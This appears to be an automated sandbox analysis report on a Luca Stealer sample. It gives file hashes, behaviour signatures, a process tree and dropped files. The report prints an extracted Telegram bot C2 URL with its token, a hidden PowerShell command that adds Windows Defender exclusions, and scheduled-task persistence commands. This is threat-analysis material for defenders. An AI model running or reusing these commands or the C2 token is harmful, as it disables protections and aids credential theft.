Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-05-2024 05:36

General

  • Target

    803a5924f2a740903ad7878426750440_NeikiAnalytics.exe

  • Size

    4.8MB

  • MD5

    803a5924f2a740903ad7878426750440

  • SHA1

    147060843a83ee2a8ee813b4a25c64e894f14e71

  • SHA256

    88861277bd4781714d1b18b762a3323c3395da2eb5b0afa5ebf07253020f2482

  • SHA512

    055bd00d049c26fdb11d660bb7bed5967d478366025e5f9931c60fea16517811acf5fa22cf73fb4a5826b712a792c7f2fd604d21704b0a1d26786c9203f67dbf

  • SSDEEP

    98304:zdItrbTA1mYcXLW6jRhdGVQguhhW31ZK7nh:zwc1j0L5LdGVzu+lah

Malware Config

Extracted

Family

lucastealer

C2

https://api.telegram.org/bot6068798932:AAG_cHiqinDwNZ3Hd-rdp8tPwbT0czdVwTw

Signatures

  • Luca Stealer

    Info stealer written in Rust first seen in July 2022.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Modifies Installed Components in the registry 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 10 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\803a5924f2a740903ad7878426750440_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\803a5924f2a740903ad7878426750440_NeikiAnalytics.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4548
    • \??\c:\users\admin\appdata\local\temp\803a5924f2a740903ad7878426750440_neikianalytics.exe 
      c:\users\admin\appdata\local\temp\803a5924f2a740903ad7878426750440_neikianalytics.exe 
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4984
      • C:\Users\Admin\AppData\Local\Temp\UHCDXQ.exe
        "C:\Users\Admin\AppData\Local\Temp\UHCDXQ.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2900
        • \??\c:\users\admin\appdata\local\temp\uhcdxq.exe 
          c:\users\admin\appdata\local\temp\uhcdxq.exe 
          4⤵
          • Executes dropped EXE
          PID:5060
        • C:\Users\Admin\AppData\Local\icsys.icn.exe
          C:\Users\Admin\AppData\Local\icsys.icn.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2436
          • \??\c:\windows\system\explorer.exe
            c:\windows\system\explorer.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            PID:5096
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LHXDAZ.cmd" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:320
        • C:\Windows\SysWOW64\reg.exe
          reg query "HKU\S-1-5-19\Environment"
          4⤵
            PID:2172
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            Powershell -nologo -noninteractive -windowStyle hidden -noprofile -command $First = "Add-MpPreference -ThreatIDDefaultAction_Ids "; $Third = " -ThreatIDDefaultAction_Actions Allow -Force"; $ListID = 2147685180, 2147735507, 2147736914, 2147743522, 2147734094, 2147743421, 251873, 213927, 2147722906, 2147748160; ForEach ($ID in $ListID) { Invoke-Expression ($First + $ID + $Third) }; $ListPath = "C:\Windows\KMSAutoS", "C:\Windows\System32\SppExtComObjHook.dll", "C:\Windows\System32\SppExtComObjPatcher.exe", "C:\Windows\AAct_Tools", "C:\Windows\AAct_Tools\AAct_x64.exe", "C:\Windows\AAct_Tools\AAct_files\KMSSS.exe", "C:\Windows\AAct_Tools\AAct_files", "C:\Windows\KMS"; $First = "Add-MpPreference -ExclusionPath "; $Third = "-Force"; ForEach ($Path in $ListPath) { Invoke-Expression ($First + $Path + $Third) }; :Admin
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:4560
          • C:\Windows\SysWOW64\reg.exe
            reg query "HKU\S-1-5-19\Environment"
            4⤵
              PID:4940
        • C:\Users\Admin\AppData\Local\icsys.icn.exe
          C:\Users\Admin\AppData\Local\icsys.icn.exe
          2⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3780
          • \??\c:\windows\system\explorer.exe
            c:\windows\system\explorer.exe
            3⤵
            • Modifies WinLogon for persistence
            • Modifies visiblity of hidden/system files in Explorer
            • Modifies Installed Components in the registry
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2596
            • \??\c:\windows\system\spoolsv.exe
              c:\windows\system\spoolsv.exe SE
              4⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:4312
              • \??\c:\windows\system\svchost.exe
                c:\windows\system\svchost.exe
                5⤵
                • Modifies WinLogon for persistence
                • Modifies visiblity of hidden/system files in Explorer
                • Modifies Installed Components in the registry
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:2852
                • \??\c:\windows\system\spoolsv.exe
                  c:\windows\system\spoolsv.exe PR
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetWindowsHookEx
                  PID:4672
                • C:\Windows\SysWOW64\at.exe
                  at 05:38 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                  6⤵
                    PID:3280
                  • C:\Windows\SysWOW64\at.exe
                    at 05:39 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                    6⤵
                      PID:4868
                    • C:\Windows\SysWOW64\at.exe
                      at 05:40 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
                      6⤵
                        PID:4320

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\803a5924f2a740903ad7878426750440_neikianalytics.exe 

              Filesize

              4.6MB

              MD5

              400963a830106421a9d61b7b40b05e0f

              SHA1

              53b16018e0d74617eae060357d93d77441fdd817

              SHA256

              ac522c65009170b03e879f555bedb6f39570e74f1e6330fa1ee196e39eff553b

              SHA512

              6a380fa79bb192fc12170c9248c1b287a22659c8bb710672d1dda22d64adc0e443c59d78e6181d7d20b80cf785cee6f33d3520752d4584d29f00e7737a5726bd

            • C:\Users\Admin\AppData\Local\Temp\LHXDAZ.cmd

              Filesize

              1KB

              MD5

              15a1fe3d0f342bdd3232253c7810a05d

              SHA1

              b658e0d903b37bf12e8e640bece22f235552dc50

              SHA256

              4070dcb09b69ef57160fae0be5ee3664e39170eeacc46e6f50a080493552b338

              SHA512

              1961fc65a839c55806162a197385859cfe3a24551ab9b7e0121166eac5e5ae1a4a0d9180229d0ea0240dccb770e4c2d508577e60988c9271bb11f94de1897a35

            • C:\Users\Admin\AppData\Local\Temp\UHCDXQ.exe

              Filesize

              5.9MB

              MD5

              021079dc0918b9c7359e93e770678000

              SHA1

              70c03da6f7b339340b1943f5d0b7b1fd87579adf

              SHA256

              ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

              SHA512

              9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n5uztvhv.djh.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\uhcdxq.exe 

              Filesize

              5.7MB

              MD5

              2c2055233260e5bb20ce675afd39ed0d

              SHA1

              26c056ba8e99a3fb523612b422a85be3ecbbd5b3

              SHA256

              306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

              SHA512

              3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

            • C:\Users\Admin\AppData\Local\icsys.icn.exe

              Filesize

              206KB

              MD5

              deaa3ddf9f4cc261c6041f4908bf9406

              SHA1

              578370b878cb76b63f44416b9b0edc1051672c91

              SHA256

              1ff6acc579ff365aab17be1bea273be531da508d30825de6942d19a14d2839ea

              SHA512

              eff7fb6b5854d77b5a3584a94992cae0bd38dcfd26a873ea5d2485a918a85b0860b28c4112ce36c819fd29a6a1eee087a79aebc143473b592285b9dc213c48a1

            • C:\Users\Admin\AppData\Local\icsys.icn.exe

              Filesize

              206KB

              MD5

              c5f78d788265a8c2b80017a0dc351266

              SHA1

              32836c3ccaf84431beaba1b10107743c052cddc0

              SHA256

              0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

              SHA512

              0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

            • C:\Users\Admin\AppData\Roaming\mrsys.exe

              Filesize

              207KB

              MD5

              541860c3de8b780a7062da439c9ec496

              SHA1

              155d18bed8cb5c1e668428fd957f77f882de1867

              SHA256

              f2da64c12bedab474c4208171bcbc0b38d62543d70089600aed2a2e33ba53785

              SHA512

              5836e404d31f32480f60ada33555539acdcee2081d391c4677d3771e7274861be61b7ce85f5c2c13f9c6bbb82cb4ca0142c4e46c72218ebad0d913f23c87605b

            • C:\Windows\System\explorer.exe

              Filesize

              206KB

              MD5

              fd0fe9e59209e13c397ddf1c3afc21ed

              SHA1

              b5a4fd7527fcae8d194469fe7c565a09b4ad34d3

              SHA256

              d9ff3d1b592485cdb31da681df6c7a0655e935d3c7863e2f800f0d9eefc645ca

              SHA512

              5e68ac13ca9b06c5a11725e59a8605854cf01c873b790b61a8cd6f19622dd6e3be428f58ebbd2014ed4cc2466826eba12933fdd74eb10d8ec2283fe880d5cfab

            • C:\Windows\System\spoolsv.exe

              Filesize

              206KB

              MD5

              07d881bb060d881f84aac9f2934cd1a7

              SHA1

              0bf0715caf5f25d523f5b974c82bbc3bfa4fd5ca

              SHA256

              ac50cf76acb879f6f05a3bf1cd08783cff0beb36232028247ab54f892e6cb48b

              SHA512

              e3fc508c547d25a6427e1de05cb7caee868fdb4ecdc6d0168b900cb84ae65c88d796a997845ec4372f50b7817b6c671c52964997f5893c00f46b37fc0a79176b

            • \??\c:\windows\system\svchost.exe

              Filesize

              206KB

              MD5

              1613aa79b9cdbecb1ca1499bc482b332

              SHA1

              02971f09388504afabbd9e8af28707561517b850

              SHA256

              935f8cf59bfa5d6252ebcde28e1f5b81f8aac3bbdf4c93d55e1cc66675778643

              SHA512

              ee3540274e96ac9e64538fa840348150be85ffa1f1c1109e14079ba3721a32cdc5e14b57783ea153b75c12e3cfb30b1a43e81bb59259f060f7bbde22b10ca90c

            • memory/2436-105-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/2900-78-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/2900-106-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/3780-59-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/3780-19-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/4312-60-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/4548-61-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/4548-0-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/4560-108-0x0000000005B80000-0x00000000061A8000-memory.dmp

              Filesize

              6.2MB

            • memory/4560-107-0x0000000003330000-0x0000000003366000-memory.dmp

              Filesize

              216KB

            • memory/4560-109-0x0000000005980000-0x00000000059A2000-memory.dmp

              Filesize

              136KB

            • memory/4560-110-0x0000000006220000-0x0000000006286000-memory.dmp

              Filesize

              408KB

            • memory/4560-111-0x0000000006290000-0x00000000062F6000-memory.dmp

              Filesize

              408KB

            • memory/4560-121-0x0000000006420000-0x0000000006774000-memory.dmp

              Filesize

              3.3MB

            • memory/4560-122-0x0000000006920000-0x000000000693E000-memory.dmp

              Filesize

              120KB

            • memory/4560-123-0x0000000006970000-0x00000000069BC000-memory.dmp

              Filesize

              304KB

            • memory/4672-52-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB

            • memory/5096-104-0x0000000000400000-0x0000000000440000-memory.dmp

              Filesize

              256KB